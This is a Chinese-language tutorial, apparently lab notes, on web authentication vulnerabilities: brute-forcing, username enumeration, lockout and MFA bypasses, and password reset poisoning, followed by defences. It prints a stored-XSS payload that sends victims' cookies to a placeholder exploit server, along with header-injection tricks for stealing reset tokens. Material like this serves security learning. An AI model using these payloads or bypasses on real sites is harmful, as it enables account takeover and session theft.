Chapter03-Authentication vulnerabilities
文章目录
- 1. 身份验证简介
- 1.1 What is authentication
- 1.2 difference between authentication and authorization
- 1.3 身份验证机制失效的原因
- 1.4 身份验证机制失效的影响
- 2. 基于登录功能的漏洞
- 2.1 密码爆破
- 2.2 用户名枚举
- 2.3 有缺陷的暴力破解防护
- 2.3.1 如果用户登录尝试失败次数过多,就锁定该账户
- 2.3.2 如果某IP在短时间内尝试多次登录,就锁定该IP
- 2.4 HTTP身份验证
- 2.5 多因素身份验证
- 2.5.1 多因素身份验证的绕过
- 2.5.2 双因素验证逻辑缺陷
- 3. 其它身份验证机制中的漏洞
- 3.1 "记住我"cookie可预测
- 3.2 cookie窃取
- 3.3 重置密码
- 3.4 密码重置投毒
- 3.5 密码修改攻击
- 4. 身份验证机制攻击的防御
1. 身份验证简介
1.1 What is authentication
身份验证是验证用户或客户端身份的过程。网站暴露在互联网上,所以健壮的身份验证机制是Web安全的重要组成部分。
有三种主要的身份验证类型:
- know,比如密码或安全问题的答案,也被称为"知识因素"
- have,比如移动电话、邮箱或安全令牌,也被称为"占有因素"
- are,比如生物特征或行为模式,也被称为"内在因素"
身份验证机制依赖于一系列技术来验证这些因素中的一个或多个(多因素认证)
1.2 difference between authentication and authorization
身份验证是验证用户是他们所声明的身份的过程。
授权是验证这些用户是否有权限执行某些操作。
用户通过身份验证后,他们拥有自己被授权执行的操作。
1.3 身份验证机制失效的原因
大多数身份验证机制失效的原因是:
- 弱口令,无法防止暴力破解
- 验证机制具有逻辑缺陷,导致攻击者能够绕过身份验证
1.4 身份验证机制失效的影响
如果攻击者绕过身份验证进入另一个用户账号,就可以访问另一个用户的数据和功能(水平越权)。如果能够获取高级权限用户,如管理员,就可能控制整个Web应用(垂直越权)。
即使获取的是低权限用户,攻击者仍然能访问不该访问的数据。即使该账户没有敏感数据的访问权限,仍然有可能访问其他界面,扩展攻击面。
通常,高危的攻击不会来自可公开访问的页面。
2. 基于登录功能的漏洞
弱口令可以被暴力破解攻破,即使做了防御,也可能存在缺陷。
2.1 密码爆破
-
暴力破解并不是对密码和用户名进行随机的猜测。而是根据搜集到的公开信息和基本逻辑,针对性地生成字典。
如已知邮箱可推测用户名,firstname.lastname@company.com
- 比如上次碰到的wangmou,他的邮箱是 mou.wang@company.com
-
即使没有明显的模式,也可以尝试可预测的用户名,如admin。有人会统计一些常见的用户名。
-
此外,不登陆的情况下能否查看一些相关配置文件(未授权访问),前端页面,HTTP响应(比如修改密码的报错)等,都有可能暴露一些用户的信息。
-
即使网站规定必须使用高熵密码,用户也可能采取一些措施避免过于复杂的密码。如password不可行,就会尝试password1,如果规定定期修改密码,那么可能会尝试password2… etc.。只定期对密码进行轻微的、可预测的更改。
2.2 用户名枚举
已经很少有网站在登录接口回显精确的用户名错误信息。
但是,这并不意味着:
- HTTP响应包没有具体的回显信息,可能开发者做了一个注释,自己都没有意识到是信息泄露
- 除了登录,其它如修改密码、忘记密码等和用户相关的接口,都可以尝试,查看提示与返回包内容
- 即使只是很小的区别,并且网页不可见,但只要响应包出现了变化,那么就有可能帮助我们进行枚举
- 如果大多数请求的响应时间相同,响应时间异常的可能用户名就是正确的,可以通过输入较长的密码增加这个延时。
优先单独爆破用户名,查看是否有区别
虽然爆破的账户密码不在其中,但是由于设置了比较复杂的密码,这些响应时间较长的用户名仍然可能存在。
当枚举较多次数,有可能被限制IP,此时可以尝试添加X-Forwarded-For请求头, 绕过该限制。
当我们设置一个非常长的密码,去爆破用户名时,会得到一些响应时间比较长的用户名,此时也无法确认是否是网络延迟还是真实用户名。可以重复发送几次数据包确认
如果登录后会跳转登录页面,那么查看302状态码的请求包,就是正确密码。
2.3 有缺陷的暴力破解防护
防止暴力破解最常用的两种方法是:
2.3.1 如果用户登录尝试失败次数过多,就锁定该账户
对于登录失败锁定账户的策略,可能的绕过方式是:
- 建立一个可能有效的用户名列表,增加枚举成功率
- 选择一个至少有一个用户可能拥有的最小的密码列表,这个数量不能超过登录限制次数(如限制三次,密码表就只能有三个)
- 使用暴力破解,循环爆破这些用户名和密码
此外,账户锁定也无法阻止凭据填充攻击,网络上有泄露的username:password字典,这些是真正的登录凭据。而很多人在不同网站上使用相同的登录凭据。
以上面两图为例,有的网站只会对真正的账户施加锁定策略,这可以帮助我们识别真的用户名。
而在爆破正确的密码后,虽然网站阻止了我们登录,但是并没有显示报错信息。
2.3.2 如果某IP在短时间内尝试多次登录,就锁定该IP
这有可能被XFF绕过,
在某些代码逻辑中,如果IP所有者成功登录,则失败计数器重置。这意味着攻击者只需要每隔几次尝试登陆到自己的账户就可以绕过判定,而这只需要在字典中间隔插入正确的登录凭据。
首先,通过尝试,确认登录失败3就会封禁IP,而登录成功就会刷新错误计数。即可每隔两次输入一次正确登录凭证。这里要注意的是:并发只能选择1个,这样会顺序执行字典爆破,筛选302重定向页面,得到carlos密码。这里一个已有账户的登录响应包也可以作为参考
IP被锁定后,一般有三种解锁方案:等时间结束、管理员解锁、用户手动输入CAPTCHA验证码。该限制一般基于IP地址发送的HTTP请求速率,因此除了获取更多IP地址外,如果可以一次请求猜测多个密码,有时也能绕过去。
2.4 HTTP身份验证
HTTP身份验证,客户端从服务器接收身份验证令牌,令牌通过base64编码用户名和密码构造。
在后续的请求中,添加到Authorization:base64(username:password)
HTTP身份验证通常是不安全的:
- 每次请求发送登陆凭据,除非网站实现了HSTS,否则容易被中间人捕获
- 令牌由静态值组成,容易被暴力破解
- 容易受到会话相关漏洞的攻击,特别是CSRF
- 这种方式暴露的凭证可能会在更重要的网页中被利用
2.5 多因素身份验证
多因素的安全性取决于实现,只有将多因素绑定在一起,才叫多因素认证。有些网站要求提供密码和验证码,而身份验证只校验邮箱验证码。
2.5.1 多因素身份验证的绕过
如果用户首先被提示输入密码,然后被提示在单独的页面上输入验证码,那么用户在输入验证码之前实际上处于“登录”状态。
在这种情况下,有必要进行测试,看看在完成第一个身份验证步骤后是否可以直接跳转到“仅登录”页面。有时候,你会发现网站在加载页面之前并没有检查你是否完成了第二步。
例如:login -> login2 -> login_id=username
,此时我们可以尝试在login结束后,直接切换到login_id=username网页。
这种尝试一般需要有一个正确账户,查看登录步骤
2.5.2 双因素验证逻辑缺陷
有时,在用户完成初始登录步骤后,网站没有充分验证是否是同一用户正在完成第二步验证。
例如:
1)用户正常登录第一步验证
2)网站分配cookie,并要求进行第二步验证
如果网站通过cookie区分用户,那么可能会借助自己的cookie登录其他人的账户
即使攻击者无法获得验证码,这种漏洞存在,并且验证码可爆破, 那么就可以在没有第一步密码的情况下登录任意用户的账户。
在第二步修改cookie并进行爆破验证码
值得一提的是,有些情况响应包还会返回并在前端最后做一次确认。
还有一种情况可能是,
- 借助我们自己的登录token、cookie等凭据,去尝试登录别的username,服务器会错认为他们也在登陆状态。
- 借助测试网址的cookie,或其它边缘网站(保护较弱)的cookie,登录主站
3. 其它身份验证机制中的漏洞
除了登录功能外,网站还允许用户管理账户。如修改密码、忘记密码等。这些功能都可能引入新的漏洞。网站通常会避免登录功能存在漏洞,但可能在其它方面放松警惕。
3.1 "记住我"cookie可预测
即使是散列函数加密,在没有加盐的情况下,也是不安全的。
即便不通过爆破,其它的漏洞XSS等也可能导致cookie泄露。
如果网站是开源框架搭建的,那么cookie的加密算法可能是不安全的。
例如:登录网站后,添加了cookie
使用base64解码后
尝试hash解密得到wiener:peter,正是我们的username:password,因此可以推测其他用户的cookie(加密算法是MD5加密后拼接base64编码)
根据分析的cookie构造规则,在burpsuite爆破时候使用规则
三个处理:登录一个用户后,刷新页面,然后将id改为carlos、cookie利用既定规则爆破、清空session
这个案例也说明了hash加salt的重要性。
3.2 cookie窃取
在存在XSS漏洞的网页中,如果能够植入存储型XSS(多见评论功能),那么构造payload
<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
当有用户访问评论时,就会将cookie信息带外的DNSlog平台或XSS平台上。
3.3 重置密码
一些网站重置密码后,通过邮件直接发给用户,这是可能被窃取的。更安全的做法是,发送一个唯一的URL,设置用户的新密码。
第二种做法的隐患是,URL的参数可能是可预测的,这样就可以重置其它用户的密码。
更好的实现是利用一个高熵的URL,并且不体现用户信息。当用户访问该URL时,系统检查用户的令牌,如果存在,允许重置哪个用户的密码。短时间后此令牌过期,并且密码重置成功后立刻销毁。
但是,某些网站提交重置表单无法再次验证令牌,在这种情况下,攻击者可以简单地从自己的帐户访问重置表单,删除令牌,并利用此页面重置任意用户的密码。
尝试删除token值,如果还能更改密码,说明提交新密码时候没有检查token
3.4 密码重置投毒
X-Forwarded-Host:
是一个http请求头,用于标识客户端原始请求的域名,在反向代理(负载均衡、CDN)后,后端可能只看到代理的IP。帮助后端服务器识别用户原始请求的域名。
Host:baidu.com
经过两个代理后:
Host:1.1.1.1 #代理服务器ip
X-Forwarded-Host:baidu.com
#XFH通常不像XFF层层追加,而是只记录初始目标主机
X-Forwarded-For:用户IP, 代理IP1, 代理IP2
XFH可能被攻击者用于:
- 缓存投毒
- 密码重置投毒
- SSRF
密码重置投毒案例:
Step1:尝试修改密码流程,抓包分析,发现是通过给用户绑定邮箱发送"固定域名+用户token"的URL用于修改密码
Step2:抓包,添加X-Forwarded-Host为恶意域名,同时将username修改为其它用户名
如果服务器端错误地优先使用X-F-Host而不是原始Host生成密码重置链接,那么会生成"恶意域名+token",将token信息带外传出
Step3:利用获取的token访问真实的URL,修改用户密码
3.5 密码修改攻击
密码修改也可能存在逻辑漏洞,用户天然认为修改新密码的两次输入应该一致,但是如果不一致,可能会提供不同的消息提示。
1) 下图是输入错误的原密码,不相等的新密码的结果
2) 输入错误的原密码,相等的新密码,直接跳转到登录页面
3) 输入正确的原密码,不相同的新密码,提示新密码不匹配
尝试不同的组合,运气好的话,能够作为判断条件爆破出用户的密码,下图中,提交了隐藏的已登录用户的用户名,可以作为任意用户密码爆破的条件。
4. 身份验证机制攻击的防御
网站身份验证机制,应该始终遵循以下几个原则:
- 保护登录凭据,通过HTTPS传递登录凭证,对登录凭据进行加密,确保可访问的文件或HTTP响应不会泄露用户名或电子邮件。
- 不要依赖用户实施强密码策略,用户永远倾向于简单的密码
- 防止用户名枚举,确保网页提示、HTTP响应等都不会体现不同的错误消息
- 防御暴力破解,实施严格的基于IP的用户速率现在,在请求达到一定数量后,要求用户完成CAPTCHA测试
- 对身份验证代码进行充分的审计
- 除了登录功能外,修改密码、重置密码等也要做好防护
- 实施2FA(双因素认证),并且确保认证逻辑可靠
相关文章:

Chapter03-Authentication vulnerabilities
文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...
谷歌浏览器插件
项目中有时候会用到插件 sync-cookie-extension1.0.0:开发环境同步测试 cookie 至 localhost,便于本地请求服务携带 cookie 参考地址:https://juejin.cn/post/7139354571712757767 里面有源码下载下来,加在到扩展即可使用FeHelp…...

Docker 离线安装指南
参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性,不同版本的Docker对内核版本有不同要求。例如,Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本,Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...

MPNet:旋转机械轻量化故障诊断模型详解python代码复现
目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...
生成xcframework
打包 XCFramework 的方法 XCFramework 是苹果推出的一种多平台二进制分发格式,可以包含多个架构和平台的代码。打包 XCFramework 通常用于分发库或框架。 使用 Xcode 命令行工具打包 通过 xcodebuild 命令可以打包 XCFramework。确保项目已经配置好需要支持的平台…...

19c补丁后oracle属主变化,导致不能识别磁盘组
补丁后服务器重启,数据库再次无法启动 ORA01017: invalid username/password; logon denied Oracle 19c 在打上 19.23 或以上补丁版本后,存在与用户组权限相关的问题。具体表现为,Oracle 实例的运行用户(oracle)和集…...

业务系统对接大模型的基础方案:架构设计与关键步骤
业务系统对接大模型:架构设计与关键步骤 在当今数字化转型的浪潮中,大语言模型(LLM)已成为企业提升业务效率和创新能力的关键技术之一。将大模型集成到业务系统中,不仅可以优化用户体验,还能为业务决策提供…...

JavaSec-RCE
简介 RCE(Remote Code Execution),可以分为:命令注入(Command Injection)、代码注入(Code Injection) 代码注入 1.漏洞场景:Groovy代码注入 Groovy是一种基于JVM的动态语言,语法简洁,支持闭包、动态类型和Java互操作性,…...
[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解
突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 安全措施依赖问题 GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...
conda相比python好处
Conda 作为 Python 的环境和包管理工具,相比原生 Python 生态(如 pip 虚拟环境)有许多独特优势,尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处: 一、一站式环境管理:…...

idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...

大数据学习栈记——Neo4j的安装与使用
本文介绍图数据库Neofj的安装与使用,操作系统:Ubuntu24.04,Neofj版本:2025.04.0。 Apt安装 Neofj可以进行官网安装:Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...
【网络】每天掌握一个Linux命令 - iftop
在Linux系统中,iftop是网络管理的得力助手,能实时监控网络流量、连接情况等,帮助排查网络异常。接下来从多方面详细介绍它。 目录 【网络】每天掌握一个Linux命令 - iftop工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景…...
vscode里如何用git
打开vs终端执行如下: 1 初始化 Git 仓库(如果尚未初始化) git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...

深入浅出Asp.Net Core MVC应用开发系列-AspNetCore中的日志记录
ASP.NET Core 是一个跨平台的开源框架,用于在 Windows、macOS 或 Linux 上生成基于云的新式 Web 应用。 ASP.NET Core 中的日志记录 .NET 通过 ILogger API 支持高性能结构化日志记录,以帮助监视应用程序行为和诊断问题。 可以通过配置不同的记录提供程…...

XCTF-web-easyupload
试了试php,php7,pht,phtml等,都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接,得到flag...
Android Wi-Fi 连接失败日志分析
1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分: 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析: CTR…...
React 第五十五节 Router 中 useAsyncError的使用详解
前言 useAsyncError 是 React Router v6.4 引入的一个钩子,用于处理异步操作(如数据加载)中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误:捕获在 loader 或 action 中发生的异步错误替…...

手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...

日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻
在如今就业市场竞争日益激烈的背景下,越来越多的求职者将目光投向了日本及中日双语岗位。但是,一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧?面对生疏的日语交流环境,即便提前恶补了…...

装饰模式(Decorator Pattern)重构java邮件发奖系统实战
前言 现在我们有个如下的需求,设计一个邮件发奖的小系统, 需求 1.数据验证 → 2. 敏感信息加密 → 3. 日志记录 → 4. 实际发送邮件 装饰器模式(Decorator Pattern)允许向一个现有的对象添加新的功能,同时又不改变其…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...
OpenLayers 可视化之热力图
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 热力图(Heatmap)又叫热点图,是一种通过特殊高亮显示事物密度分布、变化趋势的数据可视化技术。采用颜色的深浅来显示…...
Java 语言特性(面试系列2)
一、SQL 基础 1. 复杂查询 (1)连接查询(JOIN) 内连接(INNER JOIN):返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...

【Python】 -- 趣味代码 - 小恐龙游戏
文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...
云原生核心技术 (7/12): K8s 核心概念白话解读(上):Pod 和 Deployment 究竟是什么?
大家好,欢迎来到《云原生核心技术》系列的第七篇! 在上一篇,我们成功地使用 Minikube 或 kind 在自己的电脑上搭建起了一个迷你但功能完备的 Kubernetes 集群。现在,我们就像一个拥有了一块崭新数字土地的农场主,是时…...
零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?
一、核心优势:专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发,是一款收费低廉但功能全面的Windows NAS工具,主打“无学习成本部署” 。与其他NAS软件相比,其优势在于: 无需硬件改造:将任意W…...
Vue记事本应用实现教程
文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展:显示创建时间8. 功能扩展:记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...
内存分配函数malloc kmalloc vmalloc
内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...